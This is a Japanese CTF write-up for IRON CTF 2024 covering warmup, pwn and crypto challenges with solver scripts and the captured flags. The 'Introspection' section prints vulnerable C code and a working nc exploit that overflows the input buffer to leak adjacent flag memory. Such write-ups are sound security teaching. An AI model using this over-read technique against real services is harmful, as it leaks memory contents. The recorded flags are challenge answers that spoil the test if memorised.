🛡️

IRON CTF 2024 Writeup

2024/10/06に公開

Warmup - Welcome

Welcome to IRONCTF 2024 join our discord server and read the rules to claim your reward.

Discordのrulesチャンネルの投稿にflagが記載されています。
正答:ironCTF{W3lc0m3_t0_ir0nCTF_2024}

Warmup - Math Gone Wrong

Bob: Computers are excellent in maths
CTFplayer: No!!
Bob: prove me!!
Author: AbdulHaq

nc misc.1nf1n1ty.team 30011

問題文末のコマンドを入力してサーバに接続してみると、数を2つ入力するよう求められます。
まずは適当な数(ここでは1と2)を入力してみます。

$ nc misc.1nf1n1ty.team 30011
Enter frist number (n1) > 1
Enter second number (n2) > 2
n1*10+n2*10 != (n1+n2)*10
above condition is false so no flag
$

どうやらn1*10+n2*10 != (n1+n2)*10が成り立つようなn1n2を入力しないとflagを得られないようです。
数学の世界では常にn1*10+n2*10 == (n1+n2)*10となってしまいますが、問題文冒頭にある通り今はコンピュータの世界です。
2進数では10進数の小数を正確に表せないことがある、つまり誤差が出ることがある性質を利用して、0.10.2を入力してみます。

$ nc misc.1nf1n1ty.team 30011
Enter frist number (n1) > 0.1
Enter second number (n2) > 0.2
b'ironCTF{s1mpl3_r3m4ind3r_70_b3w4r3_0f_fl047ing_p0in7_3rr0r}'
$

正答:ironCTF{s1mpl3_r3m4ind3r_70_b3w4r3_0f_fl047ing_p0in7_3rr0r}

Warmup - Introspection

Know your inner self and get started with Pwn.
Author: Vigneswar

nc pwn.1nf1n1ty.team 31698

問題にはintrospection.cとコンパイル後のファイルと思われるintrospectionが添付されていました。

introspection.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    printf("\033[32m\"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step.\"\033[0m\n\n");
    printf("                                                                                         - ChatGPT\n");
    printf("Have you thought about what you really wanted in life?\n");
    char flag[50];
    FILE *file = fopen("flag.txt", "r");
    if (file == NULL) 
    {
        printf("Error! flag.txt not found!");
        exit(1);
    }
    fread(flag, 1, 50, file);
    char buf[1008];
    printf(">> ");
    read(0, buf, 1008);
    printf("I wish for you that you get %s", buf);
}

introspection.cの以下の部分では、50バイトのバッファflagを作成し、そこにflag.txtの内容を読み込みます。

    char flag[50];
    FILE *file = fopen("flag.txt", "r");
    if (file == NULL) 
    {
        printf("Error! flag.txt not found!");
        exit(1);
    }
    fread(flag, 1, 50, file);

次に、1008バイトのバッファbufを作成し、そこに標準入力の内容を読み込みます。

    char buf[1008];
    printf(">> ");
    read(0, buf, 1008);

最後に、bufの内容を標準出力します。

    printf("I wish for you that you get %s", buf);

ここで、標準入力にて1008バイト以上の文字列を入力すると、%sはバッファbufの領域を超えてnull終端文字\0が現れるまで読み込もうとします。
つまり、標準入力にて1008バイト以上の文字列を入力すれば、バッファbufの直後にあるバッファflagの内容が表示されます。

$ python -c 'print("A" * 1008)' | nc pwn.1nf1n1ty.team 31698
"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step."
- ChatGPT
Have you thought about what you really wanted in life?
>> I wish for you that you get AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}
/D
$

正答:ironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}

Warmup - Same but Different

In the world of cryptography, not everything is what it seems. You've stumbled upon a cryptic note that contains 79054025255fb1a26e4bc422aef54eb4
There are two hex strings related to this. What sets them apart?
Flag format: ironCTF{hexstring1_hexstring2}
Author: p3rplex3d

79054025255fb1a26e4bc422aef54eb4は32文字から成る16進数なので、MD5ハッシュ値であると考えられます。
MD5は衝突するハッシュが発見されている脆弱なアルゴリズムです。
実際に79054025255fb1a26e4bc422aef54eb4をGoogle検索してみると、以下の異なる2つの16進数のMD5ハッシュ値が79054025255fb1a26e4bc422aef54eb4になることが分かります。

  • d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70
  • d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70

念のため、この2つの16進数のMD5ハッシュ値が一致することをCyberChefで確認します。

この2つの16進数の差分がflagとなります。

diff.py
str_a = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
str_b = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
l = len(str_a)
diff_a = "ironCTF{"
diff_b = "_"

for a, b in zip(str_a, str_b):
    if a != b:
        diff_a += a
        diff_b += b

print(diff_a + diff_b + "}")
$ python diff.py
ironCTF{87fba2_0f732a}
$

正答:ironCTF{87fba2_0f732a}

Crypto - Algebra Exam

My Algebra professor enjoys giving us difficult tests. I definitely need your help on this one.

Author: p3rplex3d
Wrap the answer in uppercase with ironCTF{}

問題にはquestions.txtが添付されており、内容は以下の通りです。

x=-3{-6<y<-4}
x=-1{-6<y<-4}
-x-7{-3<x<-2}
x-3{-2<x<-1}
2x+10{-5<=x<=-4}
-2x-6{-4<=x<=-3}
y=1{-4.5<=x<=-3.5}
y=-7{2<x<4}
x=3{-9<y<-7}
x=-1{-3<=y<=-1}
x=0{-3<=y<=-1}
y=-2{-1<=x<=0}
y=-1{1<=x<=2}
y=-3{1<=x<=2}
x=1.5{-3<=y<=-1}
(x-0.5)^2+(y+7.5)^2=.25{y>-7.5}
(x-0.5)^2+(y+7.5)^2=.25{x<.5}
(x-0.5)^2+(y+8.5)^2=.25{x>.5}
y=-1{-5<=x<=-4}
y=-2{-5<=x<=-4.25}
x=-5{-3<=y<=-1}
x=5{-8.5<y<-7}
x=6{-8.5<y<-7}
(x-5.5)^2+(y+8.5)^2=.25{y<-8.5}
x=0{-6<y<-4}
(-4/3)x-4 {0<x<1.5}
x=1.5{-6<y<-4}

この27個の数式をグラフ化してみます。

graph.py
import matplotlib.pyplot
import numpy

figure, axes = matplotlib.pyplot.subplots()

# x=-3{-6<y<-4}
y_vals = numpy.linspace(-6, -4, 100)
axes.plot([-3]*len(y_vals), y_vals)

# x=-1{-6<y<-4}
y_vals = numpy.linspace(-6, -4, 100)
axes.plot([-1]*len(y_vals), y_vals)

# -x-7{-3<x<-2}
x_vals = numpy.linspace(-3, -2, 100)
y_vals = -x_vals - 7
axes.plot(x_vals, y_vals)

# x-3{-2<x<-1}
x_vals = numpy.linspace(-2, -1, 100)
y_vals = x_vals - 3
axes.plot(x_vals, y_vals)

# 2x+10{-5<=x<=-4}
x_vals = numpy.linspace(-5, -4, 100)
y_vals = 2 * x_vals + 10
axes.plot(x_vals, y_vals)

# -2x-6{-4<=x<=-3}
x_vals = numpy.linspace(-4, -3, 100)
y_vals = -2 * x_vals - 6
axes.plot(x_vals, y_vals)

# y=1{-4.5<=x<=-3.5}
x_vals = numpy.linspace(-4.5, -3.5, 100)
axes.plot(x_vals, [1]*len(x_vals))

# y=-7{2<x<4}
x_vals = numpy.linspace(2, 4, 100)
axes.plot(x_vals, [-7]*len(x_vals))

# x=3{-9<y<-7}
y_vals = numpy.linspace(-9, -7, 100)
axes.plot([3]*len(y_vals), y_vals)

# x=-1{-3<=y<=-1}
y_vals = numpy.linspace(-3, -1, 100)
axes.plot([-1]*len(y_vals), y_vals)

# x=0{-3<=y<=-1}
y_vals = numpy.linspace(-3, -1, 100)
axes.plot([0]*len(y_vals), y_vals)

# y=-2{-1<=x<=0}
x_vals = numpy.linspace(-1, 0, 100)
axes.plot(x_vals, [-2]*len(x_vals))

# y=-1{1<=x<=2}
x_vals = numpy.linspace(1, 2, 100)
axes.plot(x_vals, [-1]*len(x_vals))

# y=-3{1<=x<=2}
x_vals = numpy.linspace(1, 2, 100)
axes.plot(x_vals, [-3]*len(x_vals))

# x=1.5{-3<=y<=-1}
y_vals = numpy.linspace(-3, -1, 100)
axes.plot([1.5]*len(y_vals), y_vals)

# (x-0.5)^2+(y+7.5)^2=.25{y>-7.5}
theta = numpy.linspace(0, 2 * numpy.pi, 100)
x_circle = 0.5 + 0.5 * numpy.cos(theta)
y_circle = -7.5 + 0.5 * numpy.sin(theta)
axes.plot(x_circle[y_circle > -7.5], y_circle[y_circle > -7.5])

# (x-0.5)^2+(y+7.5)^2=.25{x<.5}
theta = numpy.linspace(0, 2 * numpy.pi, 100)
x_circle = 0.5 + 0.5 * numpy.cos(theta)
y_circle = -7.5 + 0.5 * numpy.sin(theta)
axes.plot(x_circle[x_circle < 0.5], y_circle[x_circle < 0.5])

# (x-0.5)^2+(y+8.5)^2=.25{x>.5}
theta = numpy.linspace(-numpy.pi / 2, numpy.pi / 2, 100)
x_circle = 0.5 + 0.5 * numpy.cos(theta)
y_circle = -8.5 + 0.5 * numpy.sin(theta)
axes.plot(x_circle, y_circle)

# y=-1{-5<=x<=-4}
x_vals = numpy.linspace(-5, -4, 100)
axes.plot(x_vals, [-1]*len(x_vals))

# y=-2{-5<=x<=-4.25}
x_vals = numpy.linspace(-5, -4.25, 100)
axes.plot(x_vals, [-2]*len(x_vals))

# x=-5{-3<=y<=-1}
y_vals = numpy.linspace(-3, -1, 100)
axes.plot([-5]*len(y_vals), y_vals)

# x=5{-8.5<y<-7}
y_vals = numpy.linspace(-8.5, -7, 100)
axes.plot([5]*len(y_vals), y_vals)

# x=6{-8.5<y<-7}
y_vals = numpy.linspace(-8.5, -7, 100)
axes.plot([6]*len(y_vals), y_vals)

# (x-5.5)^2+(y+8.5)^2=.25{y<-8.5}
theta = numpy.linspace(0, 2 * numpy.pi, 100)
x_circle = 5.5 + 0.5 * numpy.cos(theta)
y_circle = -8.5 + 0.5 * numpy.sin(theta)
axes.plot(x_circle[y_circle < -8.5], y_circle[y_circle < -8.5])

# x=0{-6<y<-4}
y_vals = numpy.linspace(-6, -4, 100)
axes.plot([0]*len(y_vals), y_vals)

# (-4/3)x-4 {0<x<1.5}
x_vals = numpy.linspace(0, 1.5, 100)
y_vals = (-4/3) * x_vals - 4
axes.plot(x_vals, y_vals)

# x=1.5{-6<y<-4}
y_vals = numpy.linspace(-6, -4, 100)
axes.plot([1.5]*len(y_vals), y_vals)

axes.set_xlabel('x')
axes.set_ylabel('y')
matplotlib.pyplot.show()
$ py graph.py
$

描画された文字を並べ替えるとflagになります。
正答:ironCTF{MATHISFUN}

Crypto - Dantzig's Puzzle

Dantzig was on a trip with his friends and one day, they decided to play a game or atleast, it's easier version. He would think of a string and the others have to find it based on the clues he gives them.

  1. The knapsack list contains 8 numbers, with 1 and 2 as the first two numbers and the subsequent numbers are formed by adding one to the sum of all the numbers before.
  2. The value of m=257 and n is something less than 257
  3. The encrypted string is - [538, 619, 944, 831, 360, 531, 468, 971, 635, 593, 655, 425, 1068, 530, 1068, 360, 706, 1068, 299, 619, 670, 1068, 891, 425, 670, 1068, 371, 670, 732, 531, 1068, 484, 372, 635, 371, 372, 237, 237, 1007]

Can you find the string Dantzig was thinking of?

Flag Format: ironCTF{this_is_fake}
Author: p3rplex3d

暗号の問題でknapsackと言えば、Merkle-Hellmanナップサック暗号です。
Merkle-Hellmanナップサック暗号における暗号化・復号の手順は以下の通りです。
前提

  • 平文:(p_1,\, \cdots,\, p_l) ※p_i\, (i = 1,\, \cdots,\, l)は0または1
  • 超増加列(秘密鍵)[1](w_1,\, \cdots,\, w_l)
  • 整数(秘密鍵):m ※\Sigma_{i=1}^{l}w_i < m
  • 整数(秘密鍵):n ※nmと互いに素
  • 公開鍵:(a_1,\, \cdots,\, a_l) ※a_i = nw_i \pmod{m}\, (i = 1,\, \cdots,\, l)

暗号化の手順

  1. c = \Sigma_{i=1}^{l}a_ip_i\, (i = 1,\, \cdots,\, l)を計算します。

復号の手順

  1. c' = cn^{-1} \pmod{m}\, (i = 1,\, \cdots,\, l)を計算します。
  2. c' = \Sigma_{i=1}^{l}w_ip_iとなるため、これを満たす(p_1,\, \cdots,\, p_l)を計算します。

Merkle-Hellmanナップサック暗号では

  • 数列:(p_1,\, \cdots,\, p_l) ※p_i\, (i = 1,\, \cdots,\, l)は0または1
  • 超増加列:(w_1,\, \cdots,\, w_l)
  • 非超増加列:(a_1,\, \cdots,\, a_l)
  • 整数:c,\, c'

としたとき、c' = \Sigma_{i=1}^{l}w_ip_iを満たす(p_1,\, \cdots,\, p_l)は求めやすいものの、c = \Sigma_{i=1}^{l}a_ip_iを満たす(p_1,\, \cdots,\, p_l)は求めにくいという性質を活用しています。[2]
それでは、復号アルゴリズムを実装します。

decode.py
# n^{-1}を計算する関数
def inverse(n, m):
    for x in range(1, m):
        if (n * x) % m == 1:
            return x

# c'とw_iから平文を計算する関数
def knapsack_to_binary(d, w):
    p = []
    for weight in reversed(w):
        if d >= weight:
            p.append(1)
            d -= weight
        else:
            p.append(0)
    return list(reversed(p))

# バイナリを文字列に変換する関数
def binary_to_string(binary):
    string = ""
    for bits in binary:
        char_code = sum([_ * (2 ** i) for i, _ in enumerate(reversed(bits))])
        string += chr(char_code)
    return string

# 復号する関数
def decrypt(w, m, c, n):
    inverse_n = inverse(n, m)
    flag = ""
    for value in c:
        d = (value * inverse_n) % m
        binary = knapsack_to_binary(d, w)
        flag += binary_to_string([binary])
    if all(32 <= ord(e) <= 126 for e in flag):
        return n, flag
    return None, None

if __name__ == "__main__":
    w = [1, 2, 4, 8, 16, 32, 64, 128] # knapsack list
    m = 257
    c = [538, 619, 944, 831, 360, 531, 468, 971, 635, 593, 655, 425, 1068, 530, 1068, 360, 706, 1068, 299, 619, 670, 1068, 891, 425, 670, 1068, 371, 670, 732, 531, 1068, 484, 372, 635, 371, 372, 237, 237, 1007] # encrypted string

    for n in range(1, m):
        n_value, flag = decrypt(w, m, c, n)
        if n_value:
            print(f"n: {n_value}, flag: {flag}")
$ py decode.py
n: 31, flag: ironCTF{M4th_&_C5_ar3_7h3_b3sT_c0Mb0!!}
$

正答:ironCTF{M4th_&_C5_ar3_7h3_b3sT_c0Mb0!!}

脚注
  1. 超増加列とは、全ての要素について、自身より前にある全要素の合計値より自身の方が大きくなる数列のことです。 ↩︎

  2. 実際は既に解読方法が発表されています。 ↩︎

Discussion